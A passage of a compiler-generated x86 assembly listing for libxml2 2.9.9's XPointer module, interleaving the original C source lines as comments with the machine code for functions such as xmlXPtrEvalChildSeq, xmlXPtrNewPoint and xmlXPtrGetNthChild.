; 1044 : if (prefix == NULL) {
test esi, esi
jne SHORT $LN61@xmlXPtrEva
; 1045 : xmlFree(buffer);
push DWORD PTR _buffer$1$[ebp]
call DWORD PTR _xmlFree
; 1046 : xmlFree(name);
push ebx
$LN79@xmlXPtrEva:
call DWORD PTR _xmlFree
; 1047 : XP_ERROR(XPTR_SYNTAX_ERROR);
push 16 ; 00000010H
push edi
call _xmlXPathErr
add esp, 16 ; 00000010H
pop esi
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN61@xmlXPtrEva:
mov ecx, DWORD PTR [edi]
npad 4
$LL4@xmlXPtrEva:
; 1048 : }
; 1049 : SKIP_BLANKS;
mov al, BYTE PTR [ecx]
cmp al, 32 ; 00000020H
je SHORT $LN31@xmlXPtrEva
cmp al, 9
jb SHORT $LN32@xmlXPtrEva
cmp al, 10 ; 0000000aH
jbe SHORT $LN31@xmlXPtrEva
$LN32@xmlXPtrEva:
cmp al, 13 ; 0000000dH
jne SHORT $LN5@xmlXPtrEva
$LN31@xmlXPtrEva:
test al, al
je SHORT $LL4@xmlXPtrEva
inc ecx
mov DWORD PTR [edi], ecx
jmp SHORT $LL4@xmlXPtrEva
$LN5@xmlXPtrEva:
; 1050 : if (CUR != '=') {
cmp al, 61 ; 0000003dH
jne $LN72@xmlXPtrEva
$LN78@xmlXPtrEva:
; 1051 : xmlFree(prefix);
; 1052 : xmlFree(buffer);
; 1053 : xmlFree(name);
; 1054 : XP_ERROR(XPTR_SYNTAX_ERROR);
; 1055 : }
; 1056 : NEXT;
; 1057 : SKIP_BLANKS;
inc ecx
mov DWORD PTR [edi], ecx
$LL6@xmlXPtrEva:
mov al, BYTE PTR [ecx]
cmp al, 32 ; 00000020H
je SHORT $LN34@xmlXPtrEva
cmp al, 9
jb SHORT $LN35@xmlXPtrEva
cmp al, 10 ; 0000000aH
jbe SHORT $LN34@xmlXPtrEva
$LN35@xmlXPtrEva:
cmp al, 13 ; 0000000dH
jne SHORT $LN7@xmlXPtrEva
$LN34@xmlXPtrEva:
test al, al
je SHORT $LL6@xmlXPtrEva
jmp SHORT $LN78@xmlXPtrEva
$LN7@xmlXPtrEva:
; 1058 : /* @@ check escaping in the XPointer WD */
; 1059 :
; 1060 : value = xmlParseURI((const char *)ctxt->cur);
push ecx
call _xmlParseURI
add esp, 4
mov DWORD PTR _value$1$[ebp], eax
; 1061 : if (value == NULL) {
test eax, eax
je SHORT $LN72@xmlXPtrEva
; 1066 : }
; 1067 : URI = xmlSaveUri(value);
push eax
call _xmlSaveUri
; 1068 : xmlFreeURI(value);
push DWORD PTR _value$1$[ebp]
mov esi, eax
call _xmlFreeURI
add esp, 8
; 1069 : if (URI == NULL) {
test esi, esi
jne SHORT $LN37@xmlXPtrEva
; 1070 : xmlFree(prefix);
push DWORD PTR _prefix$1$[ebp]
call DWORD PTR _xmlFree
; 1071 : xmlFree(buffer);
push DWORD PTR _buffer$1$[ebp]
call DWORD PTR _xmlFree
; 1072 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
; 1073 : XP_ERROR(XPATH_MEMORY_ERROR);
push 15 ; 0000000fH
push edi
call _xmlXPathErr
add esp, 20 ; 00000014H
pop esi
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN37@xmlXPtrEva:
; 1074 : }
; 1075 :
; 1076 : xmlXPathRegisterNs(ctxt->context, prefix, URI);
push esi
push DWORD PTR _prefix$1$[ebp]
push DWORD PTR [edi+12]
call _xmlXPathRegisterNs
; 1077 : CUR_PTR = left;
mov eax, DWORD PTR _left$1$[ebp]
; 1078 : xmlFree(URI);
push esi
mov DWORD PTR [edi], eax
call DWORD PTR _xmlFree
; 1079 : xmlFree(prefix);
push DWORD PTR _prefix$1$[ebp]
call DWORD PTR _xmlFree
add esp, 20 ; 00000014H
; 1080 : #endif /* XPTR_XMLNS_SCHEME */
; 1081 : } else {
jmp SHORT $LN29@xmlXPtrEva
$LN72@xmlXPtrEva:
; 1062 : xmlFree(prefix);
push esi
call DWORD PTR _xmlFree
; 1063 : xmlFree(buffer);
push DWORD PTR _buffer$1$[ebp]
call DWORD PTR _xmlFree
; 1064 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
; 1065 : XP_ERROR(XPTR_SYNTAX_ERROR);
push 16 ; 00000010H
push edi
call _xmlXPathErr
add esp, 20 ; 00000014H
pop esi
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN28@xmlXPtrEva:
; 1082 : xmlXPtrErr(ctxt, XML_XPTR_UNKNOWN_SCHEME,
push ebx
push OFFSET ??_C@_0BJ@PBEDODCO@unsupported?5scheme?5?8?$CFs?8?6@
push 1900 ; 0000076cH
push edi
call _xmlXPtrErr
add esp, 16 ; 00000010H
$LN29@xmlXPtrEva:
; 1083 : "unsupported scheme '%s'\n", name);
; 1084 : }
; 1085 : xmlFree(buffer);
push DWORD PTR _buffer$1$[ebp]
call DWORD PTR _xmlFree
; 1086 : xmlFree(name);
push ebx
call DWORD PTR _xmlFree
add esp, 8
pop esi
pop edi
; 1087 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlXPtrEvalXPtrPart ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetChildNo
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_indx$ = 12 ; size = 4
_xmlXPtrGetChildNo PROC ; COMDAT
; 891 : xmlXPtrGetChildNo(xmlXPathParserContextPtr ctxt, int indx) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [esi+16]
test eax, eax
je SHORT $LN3@xmlXPtrGet
; 892 : xmlNodePtr cur = NULL;
; 893 : xmlXPathObjectPtr obj;
; 894 : xmlNodeSetPtr oldset;
; 895 :
; 896 : CHECK_TYPE(XPATH_NODESET);
cmp DWORD PTR [eax], 1
jne SHORT $LN3@xmlXPtrGet
; 897 : obj = valuePop(ctxt);
push ebx
push edi
push esi
call _valuePop
mov edi, eax
add esp, 4
; 898 : oldset = obj->nodesetval;
; 899 : if ((indx <= 0) || (oldset == NULL) || (oldset->nodeNr != 1)) {
mov eax, DWORD PTR _indx$[ebp]
test eax, eax
jle SHORT $LN5@xmlXPtrGet
mov ebx, DWORD PTR [edi+4]
test ebx, ebx
je SHORT $LN5@xmlXPtrGet
cmp DWORD PTR [ebx], 1
jne SHORT $LN5@xmlXPtrGet
; 902 : return;
; 903 : }
; 904 : cur = xmlXPtrGetNthChild(oldset->nodeTab[0], indx);
push eax
mov eax, DWORD PTR [ebx+8]
push DWORD PTR [eax]
call _xmlXPtrGetNthChild
add esp, 8
mov ecx, eax
; 905 : if (cur == NULL) {
push edi
test ecx, ecx
je SHORT $LN10@xmlXPtrGet
; 906 : xmlXPathFreeObject(obj);
; 907 : valuePush(ctxt, xmlXPathNewNodeSet(NULL));
; 908 : return;
; 909 : }
; 910 : oldset->nodeTab[0] = cur;
mov eax, DWORD PTR [ebx+8]
; 911 : valuePush(ctxt, obj);
push esi
mov DWORD PTR [eax], ecx
call _valuePush
add esp, 8
pop edi
pop ebx
pop esi
; 912 : }
pop ebp
ret 0
$LN5@xmlXPtrGet:
; 900 : xmlXPathFreeObject(obj);
push edi
$LN10@xmlXPtrGet:
call _xmlXPathFreeObject
; 901 : valuePush(ctxt, xmlXPathNewNodeSet(NULL));
push 0
call _xmlXPathNewNodeSet
push eax
push esi
call _valuePush
add esp, 16 ; 00000010H
pop edi
pop ebx
pop esi
; 912 : }
pop ebp
ret 0
$LN3@xmlXPtrGet:
; 892 : xmlNodePtr cur = NULL;
; 893 : xmlXPathObjectPtr obj;
; 894 : xmlNodeSetPtr oldset;
; 895 :
; 896 : CHECK_TYPE(XPATH_NODESET);
push 11 ; 0000000bH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 912 : }
pop ebp
ret 0
_xmlXPtrGetChildNo ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEvalChildSeq
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_oldset$1$ = 12 ; size = 4
_name$ = 12 ; size = 4
_xmlXPtrEvalChildSeq PROC ; COMDAT
; 1187 : xmlXPtrEvalChildSeq(xmlXPathParserContextPtr ctxt, xmlChar *name) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _name$[ebp]
test esi, esi
jne SHORT $LN27@xmlXPtrEva
; 1188 : /*
; 1189 : * XPointer don't allow by syntax to address in mutirooted trees
; 1190 : * this might prove useful in some cases, warn about it.
; 1191 : */
; 1192 : if ((name == NULL) && (CUR == '/') && (NXT(1) != '1')) {
mov edi, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edi]
cmp BYTE PTR [eax], 47 ; 0000002fH
jne SHORT $LN21@xmlXPtrEva
cmp BYTE PTR [eax+1], 49 ; 00000031H
je SHORT $LN21@xmlXPtrEva
; 1193 : xmlXPtrErr(ctxt, XML_XPTR_CHILDSEQ_START,
push esi
push OFFSET ??_C@_0CG@PNGJONJE@warning?3?5ChildSeq?5not?5starting?5@
push 1901 ; 0000076dH
push edi
call _xmlXPtrErr
add esp, 16 ; 00000010H
; 1194 : "warning: ChildSeq not starting by /1\n", NULL);
; 1195 : }
; 1196 :
; 1197 : if (name != NULL) {
jmp SHORT $LN21@xmlXPtrEva
$LN27@xmlXPtrEva:
; 1198 : valuePush(ctxt, xmlXPathNewString(name));
push esi
call _xmlXPathNewString
mov edi, DWORD PTR _ctxt$[ebp]
push eax
push edi
call _valuePush
; 1199 : xmlFree(name);
push esi
call DWORD PTR _xmlFree
; 1200 : xmlXPathIdFunction(ctxt, 1);
push 1
push edi
call _xmlXPathIdFunction
add esp, 24 ; 00000018H
; 1201 : CHECK_ERROR;
cmp DWORD PTR [edi+8], 0
jne $LN3@xmlXPtrEva
$LN21@xmlXPtrEva:
; 1202 : }
; 1203 :
; 1204 : while (CUR == '/') {
mov esi, DWORD PTR [edi]
mov al, BYTE PTR [esi]
cmp al, 47 ; 0000002fH
jne $LN3@xmlXPtrEva
push ebx
$LL2@xmlXPtrEva:
; 1205 : int child = 0;
xor ebx, ebx
; 1206 : NEXT;
test al, al
je SHORT $LN28@xmlXPtrEva
inc esi
mov DWORD PTR [edi], esi
mov al, BYTE PTR [esi]
$LN28@xmlXPtrEva:
; 1207 :
; 1208 : while ((CUR >= '0') && (CUR <= '9')) {
cmp al, 48 ; 00000030H
jb SHORT $LN29@xmlXPtrEva
$LL4@xmlXPtrEva:
cmp al, 57 ; 00000039H
ja SHORT $LN29@xmlXPtrEva
; 1209 : child = child * 10 + (CUR - '0');
movzx ecx, al
lea ebx, DWORD PTR [ebx+ebx*4]
lea ebx, DWORD PTR [ebx-24]
lea ebx, DWORD PTR [ecx+ebx*2]
; 1210 : NEXT;
test al, al
je SHORT $LN12@xmlXPtrEva
inc esi
mov DWORD PTR [edi], esi
mov al, BYTE PTR [esi]
$LN12@xmlXPtrEva:
; 1207 :
; 1208 : while ((CUR >= '0') && (CUR <= '9')) {
cmp al, 48 ; 00000030H
jae SHORT $LL4@xmlXPtrEva
$LN29@xmlXPtrEva:
; 896 : CHECK_TYPE(XPATH_NODESET);
mov eax, DWORD PTR [edi+16]
test eax, eax
je SHORT $LN16@xmlXPtrEva
cmp DWORD PTR [eax], 1
jne SHORT $LN16@xmlXPtrEva
; 897 : obj = valuePop(ctxt);
push edi
call _valuePop
add esp, 4
mov esi, eax
; 899 : if ((indx <= 0) || (oldset == NULL) || (oldset->nodeNr != 1)) {
test ebx, ebx
jle SHORT $LN18@xmlXPtrEva
; 898 : oldset = obj->nodesetval;
mov eax, DWORD PTR [esi+4]
mov DWORD PTR _oldset$1$[ebp], eax
; 899 : if ((indx <= 0) || (oldset == NULL) || (oldset->nodeNr != 1)) {
test eax, eax
je SHORT $LN18@xmlXPtrEva
cmp DWORD PTR [eax], 1
jne SHORT $LN18@xmlXPtrEva
; 901 : valuePush(ctxt, xmlXPathNewNodeSet(NULL));
; 902 : return;
; 903 : }
; 904 : cur = xmlXPtrGetNthChild(oldset->nodeTab[0], indx);
mov eax, DWORD PTR [eax+8]
push ebx
push DWORD PTR [eax]
call _xmlXPtrGetNthChild
add esp, 8
mov ecx, eax
; 905 : if (cur == NULL) {
push esi
test ecx, ecx
je SHORT $LN31@xmlXPtrEva
; 906 : xmlXPathFreeObject(obj);
; 907 : valuePush(ctxt, xmlXPathNewNodeSet(NULL));
; 908 : return;
; 909 : }
; 910 : oldset->nodeTab[0] = cur;
mov eax, DWORD PTR _oldset$1$[ebp]
; 911 : valuePush(ctxt, obj);
push edi
mov eax, DWORD PTR [eax+8]
mov DWORD PTR [eax], ecx
call _valuePush
jmp SHORT $LN30@xmlXPtrEva
$LN18@xmlXPtrEva:
; 900 : xmlXPathFreeObject(obj);
push esi
$LN31@xmlXPtrEva:
; 1202 : }
; 1203 :
; 1204 : while (CUR == '/') {
call _xmlXPathFreeObject
push 0
call _xmlXPathNewNodeSet
push eax
push edi
call _valuePush
add esp, 16 ; 00000010H
jmp SHORT $LN14@xmlXPtrEva
$LN16@xmlXPtrEva:
; 896 : CHECK_TYPE(XPATH_NODESET);
push 11 ; 0000000bH
push edi
call _xmlXPathErr
$LN30@xmlXPtrEva:
; 1202 : }
; 1203 :
; 1204 : while (CUR == '/') {
add esp, 8
$LN14@xmlXPtrEva:
mov esi, DWORD PTR [edi]
mov al, BYTE PTR [esi]
cmp al, 47 ; 0000002fH
je $LL2@xmlXPtrEva
pop ebx
$LN3@xmlXPtrEva:
pop edi
; 1211 : }
; 1212 : xmlXPtrGetChildNo(ctxt, child);
; 1213 : }
; 1214 : }
pop esi
pop ebp
ret 0
_xmlXPtrEvalChildSeq ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRangeInternal
_TEXT SEGMENT
_start$ = 8 ; size = 4
_startindex$ = 12 ; size = 4
_end$ = 16 ; size = 4
_endindex$ = 20 ; size = 4
_xmlXPtrNewRangeInternal PROC ; COMDAT
; 344 : xmlNodePtr end, int endindex) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _start$[ebp]
test esi, esi
je SHORT $LN2@xmlXPtrNew
; 345 : xmlXPathObjectPtr ret;
; 346 :
; 347 : /*
; 348 : * Namespace nodes must be copied (see xmlXPathNodeSetDupNs).
; 349 : * Disallow them for now.
; 350 : */
; 351 : if ((start != NULL) && (start->type == XML_NAMESPACE_DECL))
cmp DWORD PTR [esi+4], 18 ; 00000012H
je SHORT $LN8@xmlXPtrNew
$LN2@xmlXPtrNew:
; 352 : return(NULL);
; 353 : if ((end != NULL) && (end->type == XML_NAMESPACE_DECL))
mov edi, DWORD PTR _end$[ebp]
test edi, edi
je SHORT $LN3@xmlXPtrNew
cmp DWORD PTR [edi+4], 18 ; 00000012H
je SHORT $LN8@xmlXPtrNew
$LN3@xmlXPtrNew:
; 354 : return(NULL);
; 355 :
; 356 : ret = (xmlXPathObjectPtr) xmlMalloc(sizeof(xmlXPathObject));
push 48 ; 00000030H
call DWORD PTR _xmlMalloc
add esp, 4
; 357 : if (ret == NULL) {
test eax, eax
jne SHORT $LN4@xmlXPtrNew
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BB@PBEHJOM@allocating?5range@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BB@PBEHJOM@allocating?5range@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
$LN8@xmlXPtrNew:
pop edi
; 367 : return(ret);
; 368 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN4@xmlXPtrNew:
; 358 : xmlXPtrErrMemory("allocating range");
; 359 : return(NULL);
; 360 : }
; 361 : memset(ret, 0, sizeof(xmlXPathObject));
; 362 : ret->type = XPATH_RANGE;
; 363 : ret->user = start;
; 364 : ret->index = startindex;
mov ecx, DWORD PTR _startindex$[ebp]
mov DWORD PTR [eax+4], 0
mov DWORD PTR [eax+8], 0
mov DWORD PTR [eax+12], 0
mov DWORD PTR [eax+16], 0
mov DWORD PTR [eax+20], 0
mov DWORD PTR [eax+24], 0
mov DWORD PTR [eax+44], 0
; 365 : ret->user2 = end;
mov DWORD PTR [eax+36], edi
mov DWORD PTR [eax+32], ecx
; 366 : ret->index2 = endindex;
mov ecx, DWORD PTR _endindex$[ebp]
pop edi
mov DWORD PTR [eax+28], esi
mov DWORD PTR [eax], 6
mov DWORD PTR [eax+40], ecx
; 367 : return(ret);
; 368 : }
pop esi
pop ebp
ret 0
_xmlXPtrNewRangeInternal ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrRangesEqual
_TEXT SEGMENT
_range1$ = 8 ; size = 4
_range2$ = 12 ; size = 4
_xmlXPtrRangesEqual PROC ; COMDAT
; 311 : xmlXPtrRangesEqual(xmlXPathObjectPtr range1, xmlXPathObjectPtr range2) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _range1$[ebp]
mov edx, DWORD PTR _range2$[ebp]
cmp ecx, edx
jne SHORT $LN2@xmlXPtrRan
$LN12@xmlXPtrRan:
; 327 : return(0);
; 328 : return(1);
; 329 : }
mov eax, 1
pop ebp
ret 0
$LN2@xmlXPtrRan:
; 312 : if (range1 == range2)
; 313 : return(1);
; 314 : if ((range1 == NULL) || (range2 == NULL))
test ecx, ecx
je SHORT $LN4@xmlXPtrRan
test edx, edx
je SHORT $LN4@xmlXPtrRan
; 316 : if (range1->type != range2->type)
mov eax, DWORD PTR [ecx]
cmp eax, DWORD PTR [edx]
jne SHORT $LN4@xmlXPtrRan
; 317 : return(0);
; 318 : if (range1->type != XPATH_RANGE)
cmp eax, 6
jne SHORT $LN4@xmlXPtrRan
; 319 : return(0);
; 320 : if (range1->user != range2->user)
mov eax, DWORD PTR [ecx+28]
cmp eax, DWORD PTR [edx+28]
jne SHORT $LN4@xmlXPtrRan
; 321 : return(0);
; 322 : if (range1->index != range2->index)
mov eax, DWORD PTR [ecx+32]
cmp eax, DWORD PTR [edx+32]
jne SHORT $LN4@xmlXPtrRan
; 323 : return(0);
; 324 : if (range1->user2 != range2->user2)
mov eax, DWORD PTR [ecx+36]
cmp eax, DWORD PTR [edx+36]
jne SHORT $LN4@xmlXPtrRan
; 325 : return(0);
; 326 : if (range1->index2 != range2->index2)
mov eax, DWORD PTR [ecx+40]
cmp eax, DWORD PTR [edx+40]
je SHORT $LN12@xmlXPtrRan
$LN4@xmlXPtrRan:
; 315 : return(0);
xor eax, eax
; 327 : return(0);
; 328 : return(1);
; 329 : }
pop ebp
ret 0
_xmlXPtrRangesEqual ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrRangeCheckOrder
_TEXT SEGMENT
_range$ = 8 ; size = 4
_xmlXPtrRangeCheckOrder PROC ; COMDAT
; 280 : xmlXPtrRangeCheckOrder(xmlXPathObjectPtr range) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _range$[ebp]
test esi, esi
je SHORT $LN5@xmlXPtrRan
; 281 : int tmp;
; 282 : xmlNodePtr tmp2;
; 283 : if (range == NULL)
; 284 : return;
; 285 : if (range->type != XPATH_RANGE)
cmp DWORD PTR [esi], 6
jne SHORT $LN5@xmlXPtrRan
; 286 : return;
; 287 : if (range->user2 == NULL)
mov eax, DWORD PTR [esi+36]
test eax, eax
je SHORT $LN5@xmlXPtrRan
; 288 : return;
; 289 : tmp = xmlXPtrCmpPoints(range->user, range->index,
mov ecx, DWORD PTR [esi+28]
mov edx, DWORD PTR [esi+40]
; 228 : if ((node1 == NULL) || (node2 == NULL))
test ecx, ecx
je SHORT $LN5@xmlXPtrRan
; 229 : return(-2);
; 230 : /*
; 231 : * a couple of optimizations which will avoid computations in most cases
; 232 : */
; 233 : if (node1 == node2) {
cmp ecx, eax
jne SHORT $LN10@xmlXPtrRan
; 234 : if (index1 < index2)
cmp DWORD PTR [esi+32], edx
; 235 : return(1);
; 236 : if (index1 > index2)
jle SHORT $LN5@xmlXPtrRan
; 237 : return(-1);
jmp SHORT $LN14@xmlXPtrRan
$LN10@xmlXPtrRan:
; 238 : return(0);
; 239 : }
; 240 : return(xmlXPathCmpNodes(node1, node2));
push eax
push ecx
call _xmlXPathCmpNodes
add esp, 8
; 290 : range->user2, range->index2);
; 291 : if (tmp == -1) {
cmp eax, -1
jne SHORT $LN5@xmlXPtrRan
$LN14@xmlXPtrRan:
; 292 : tmp2 = range->user;
mov ecx, DWORD PTR [esi+28]
; 293 : range->user = range->user2;
mov eax, DWORD PTR [esi+36]
mov DWORD PTR [esi+28], eax
; 294 : range->user2 = tmp2;
; 295 : tmp = range->index;
; 296 : range->index = range->index2;
mov eax, DWORD PTR [esi+40]
mov DWORD PTR [esi+36], ecx
mov ecx, DWORD PTR [esi+32]
mov DWORD PTR [esi+32], eax
; 297 : range->index2 = tmp;
mov DWORD PTR [esi+40], ecx
$LN5@xmlXPtrRan:
pop esi
; 298 : }
; 299 : }
pop ebp
ret 0
_xmlXPtrRangeCheckOrder ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewPoint
_TEXT SEGMENT
_node$ = 8 ; size = 4
_indx$ = 12 ; size = 4
_xmlXPtrNewPoint PROC ; COMDAT
; 253 : xmlXPtrNewPoint(xmlNodePtr node, int indx) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _node$[ebp]
test edi, edi
je SHORT $LN6@xmlXPtrNew
; 254 : xmlXPathObjectPtr ret;
; 255 :
; 256 : if (node == NULL)
; 257 : return(NULL);
; 258 : if (indx < 0)
mov esi, DWORD PTR _indx$[ebp]
test esi, esi
js SHORT $LN6@xmlXPtrNew
; 259 : return(NULL);
; 260 :
; 261 : ret = (xmlXPathObjectPtr) xmlMalloc(sizeof(xmlXPathObject));
push 48 ; 00000030H
call DWORD PTR _xmlMalloc
add esp, 4
; 262 : if (ret == NULL) {
test eax, eax
jne SHORT $LN4@xmlXPtrNew
; 263 : xmlXPtrErrMemory("allocating point");
push OFFSET ??_C@_0BB@DMDDEGKA@allocating?5point@
call _xmlXPtrErrMemory
add esp, 4
$LN6@xmlXPtrNew:
; 270 : return(ret);
; 271 : }
pop edi
xor eax, eax
pop esi
pop ebp
ret 0
$LN4@xmlXPtrNew:
; 264 : return(NULL);
; 265 : }
; 266 : memset(ret, 0 , (size_t) sizeof(xmlXPathObject));
mov DWORD PTR [eax+4], 0
mov DWORD PTR [eax+8], 0
mov DWORD PTR [eax+12], 0
mov DWORD PTR [eax+16], 0
mov DWORD PTR [eax+20], 0
mov DWORD PTR [eax+24], 0
mov DWORD PTR [eax+36], 0
mov DWORD PTR [eax+40], 0
mov DWORD PTR [eax+44], 0
; 267 : ret->type = XPATH_POINT;
; 268 : ret->user = (void *) node;
mov DWORD PTR [eax+28], edi
pop edi
; 269 : ret->index = indx;
mov DWORD PTR [eax+32], esi
mov DWORD PTR [eax], 5
; 270 : return(ret);
; 271 : }
pop esi
pop ebp
ret 0
_xmlXPtrNewPoint ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrCmpPoints
_TEXT SEGMENT
_node1$ = 8 ; size = 4
_index1$ = 12 ; size = 4
_node2$ = 16 ; size = 4
_index2$ = 20 ; size = 4
_xmlXPtrCmpPoints PROC ; COMDAT
; 227 : xmlXPtrCmpPoints(xmlNodePtr node1, int index1, xmlNodePtr node2, int index2) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _node1$[ebp]
test ecx, ecx
je SHORT $LN3@xmlXPtrCmp
; 228 : if ((node1 == NULL) || (node2 == NULL))
mov eax, DWORD PTR _node2$[ebp]
test eax, eax
je SHORT $LN3@xmlXPtrCmp
; 230 : /*
; 231 : * a couple of optimizations which will avoid computations in most cases
; 232 : */
; 233 : if (node1 == node2) {
cmp ecx, eax
jne SHORT $LN4@xmlXPtrCmp
; 234 : if (index1 < index2)
mov ecx, DWORD PTR _index1$[ebp]
mov edx, DWORD PTR _index2$[ebp]
cmp ecx, edx
jge SHORT $LN5@xmlXPtrCmp
; 235 : return(1);
mov eax, 1
; 241 : }
pop ebp
ret 0
$LN5@xmlXPtrCmp:
; 236 : if (index1 > index2)
xor eax, eax
cmp ecx, edx
setle al
dec eax
; 241 : }
pop ebp
ret 0
$LN4@xmlXPtrCmp:
; 237 : return(-1);
; 238 : return(0);
; 239 : }
; 240 : return(xmlXPathCmpNodes(node1, node2));
push eax
push ecx
call _xmlXPathCmpNodes
add esp, 8
; 241 : }
pop ebp
ret 0
$LN3@xmlXPtrCmp:
; 229 : return(-2);
mov eax, -2 ; fffffffeH
; 241 : }
pop ebp
ret 0
_xmlXPtrCmpPoints ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetNthChild
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_no$ = 12 ; size = 4
_xmlXPtrGetNthChild PROC ; COMDAT
; 189 : xmlXPtrGetNthChild(xmlNodePtr cur, int no) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _cur$[ebp]
test eax, eax
je SHORT $LN1@xmlXPtrGet
; 190 : int i;
; 191 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp DWORD PTR [eax+4], 18 ; 00000012H
je SHORT $LN1@xmlXPtrGet
; 192 : return(cur);
; 193 : cur = cur->children;
mov eax, DWORD PTR [eax+12]
; 194 : for (i = 0;i <= no;cur = cur->next) {
xor ecx, ecx
push esi
mov esi, DWORD PTR _no$[ebp]
test esi, esi
js SHORT $LN18@xmlXPtrGet
$LL4@xmlXPtrGet:
; 195 : if (cur == NULL)
test eax, eax
je SHORT $LN13@xmlXPtrGet
; 197 : if ((cur->type == XML_ELEMENT_NODE) ||
; 198 : (cur->type == XML_DOCUMENT_NODE) ||
mov edx, DWORD PTR [eax+4]
cmp edx, 1
je SHORT $LN9@xmlXPtrGet
cmp edx, 9
je SHORT $LN9@xmlXPtrGet
cmp edx, 13 ; 0000000dH
jne SHORT $LN2@xmlXPtrGet
$LN9@xmlXPtrGet:
; 199 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 200 : i++;
inc ecx
; 201 : if (i == no)
cmp ecx, esi
je SHORT $LN18@xmlXPtrGet
$LN2@xmlXPtrGet:
; 194 : for (i = 0;i <= no;cur = cur->next) {
mov eax, DWORD PTR [eax+24]
cmp ecx, esi
jle SHORT $LL4@xmlXPtrGet
pop esi
; 202 : break;
; 203 : }
; 204 : }
; 205 : return(cur);
; 206 : }
pop ebp
ret 0
$LN13@xmlXPtrGet:
; 196 : return(cur);
xor eax, eax
$LN18@xmlXPtrGet:
pop esi
$LN1@xmlXPtrGet:
; 202 : break;
; 203 : }
; 204 : }
; 205 : return(cur);
; 206 : }
pop ebp
ret 0
_xmlXPtrGetNthChild ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetIndex
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_xmlXPtrGetIndex PROC ; COMDAT
; 167 : xmlXPtrGetIndex(xmlNodePtr cur) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _cur$[ebp]
test ecx, ecx
je SHORT $LN6@xmlXPtrGet
; 168 : int i;
; 169 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp DWORD PTR [ecx+4], 18 ; 00000012H
je SHORT $LN6@xmlXPtrGet
; 171 : for (i = 1;cur != NULL;cur = cur->prev) {
mov edx, 1
npad 1
$LL4@xmlXPtrGet:
; 172 : if ((cur->type == XML_ELEMENT_NODE) ||
